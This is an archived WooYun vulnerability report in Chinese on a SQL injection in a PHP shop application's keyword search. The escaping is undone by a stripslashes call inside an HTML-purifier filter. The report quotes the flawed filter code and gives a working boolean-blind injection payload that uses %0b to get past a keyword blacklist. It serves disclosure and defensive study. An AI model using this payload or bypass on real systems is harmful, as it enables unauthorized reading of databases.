乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-09-19: 细节已通知厂商并且等待厂商处理中 2014-09-19: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2014-11-13: 细节向核心白帽子及相关领域专家公开 2014-11-23: 细节向普通白帽子公开 2014-12-03: 细节向实习白帽子公开 2014-12-15: 细节向公众公开
之前的都是找程序员的疏忽,这个位置是绕过程序的防注入。
环境:GPC = On
public static function sql($str) //过滤函数 { if (!get_magic_quotes_gpc()){ //gpc off 就转义,把之前那个奇葩的漏洞补了 //不使用主要是因为,先有mysql的连接 //$str = mysql_real_escape_string($str); $str = addslashes($str); } $str = preg_replace('/([^a-z]+)(select|insert|update|delete|union|into|load_file|outfile|tiny_)/i', ' $2', $str); //这个过滤是可以绕过的 return $str; }
仔细找发现过滤函数中存在另外一个函数:text内容如下:
/**@param $str 字符串 * @return 字符串 *@note 处理HTML编辑器的内容,主要是解决JavaScript的注入问题 */ public static function text($str) { $config = HTMLPurifier_Config::createDefault(); $cache_dir=Tiny::getPath('cache')."/htmlpurifier/"; if(!file_exists($cache_dir)) { File::mkdir($cache_dir); } $config = HTMLPurifier_Config::createDefault(); //配置 缓存目录 $config->set('Cache.SerializerPath',$cache_dir); //设置cache目录 //配置 允许flash $config->set('HTML.SafeEmbed',true); $config->set('HTML.SafeObject',true); $config->set('Output.FlashCompat',true); //$config->set('HTML.Allowed', 'p'); //$config->set('AutoFormat.AutoParagraph', true); //$config->set('AutoFormat.RemoveEmpty', true); //允许<a>的target属性 $def = $config->getHTMLDefinition(true); $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top'); $purifier = new HTMLPurifier($config); if (get_magic_quotes_gpc())$str = stripslashes($str); //漏洞发生的位置,如果开启了gpc,则反转义一次。 $str = $purifier->purify($str); return $str; }
其中对gpc进行一次检查,反转义了。于是去找一个使用text的点。在代码protected\controllers\index.php中:
//搜索与分类的条件解析 private function parseCondition() { $page = intval(Req::args("p")); $page_size = 36; $sort = Filter::int(Req::args("sort")); $sort = $sort==null?0:$sort; $cid = Filter::int(Req::args("cid")); $cid = $cid==null?0:$cid; $brand = Req::args("brand"); $price = Req::args("price"); $keyword = urldecode(Req::args('keyword')); $keyword = Filter::sql($keyword); //经过了sql $keyword = Filter::text($keyword); //但是经过text之后,\' => ' 又变回去了,成功闭合了下面的fndAll函数。 //初始化数据 $attrs = $specs = $spec_attr = $category_child = $spec_attr_selected = $selected = $has_category = $category = $current_category = array(); $where = $spec_attr_where = $url = ""; $condition_num = 0; $model = $this->model; //基本条件的建立 //关于搜索的处理 $action = strtolower(Req::args("act")); if($action=='search'){ //关于类型的处理 ////提取商品下的类型 $seo_title = $seo_keywords = $keyword; $where = "name like '%$keyword%'"; $rows = $model->table("goods")->fields("category_id,count(id) as num")->where($where)->group("category_id")->findAll(); //带入了这里进行查询 $category_ids = ""; $category_count = array(); foreach ($rows as $row) { $category_ids .= $row['category_id'].','; $category_count[$row['category_id']] = $row['num']; } $category_ids = trim($category_ids,","); $has_category = array(); $seo_description = ''; if($category_ids){ $rows = $model->table("goods_category")->where("id in ($category_ids)")->findAll(); foreach ($rows as $row) { $path = trim($row['path'],','); $paths = explode(',', $path); $root = 0; if(is_array($paths)) $root = $paths[0]; $row['num'] = $category_count[$row['id']]; $has_category[$root][] = $row; $seo_description .= $row['name'].','; } } if($cid!=0){ $where = "category_id=$cid and name like '%$keyword%'"; $category = $model->table("goods_category as gc ")->join("left join goods_type as gt on gc.type_id = gt.id")->where("gc.id=$cid")->find(); if($category){ $attrs = unserialize($category['attr']); $specs = unserialize($category['spec']); if($category['seo_title']!='') $seo_title = $category['seo_title']; else $seo_title = $category['name']; if($category['seo_keywords']!='') $seo_keywords = $category['seo_keywords']; if($category['seo_description']!='') $seo_description = $category['seo_description']; } } //关于分类检索的处理 }
看注释。
由于SQL函数过滤不严可以适应%0b插入关键字绕过。最终使用keyword=MacBook Air%' and (ord(substring((sel%0bect user()) from 1 for 1))=114)-- 1来bool瞩目默认用户是root真:
假:
修复text函数
危害等级:无影响厂商忽略
忽略时间:2014-12-15 12:32
谢谢你的反馈,别人已经提交过了,不过还是感谢的你支持。
暂无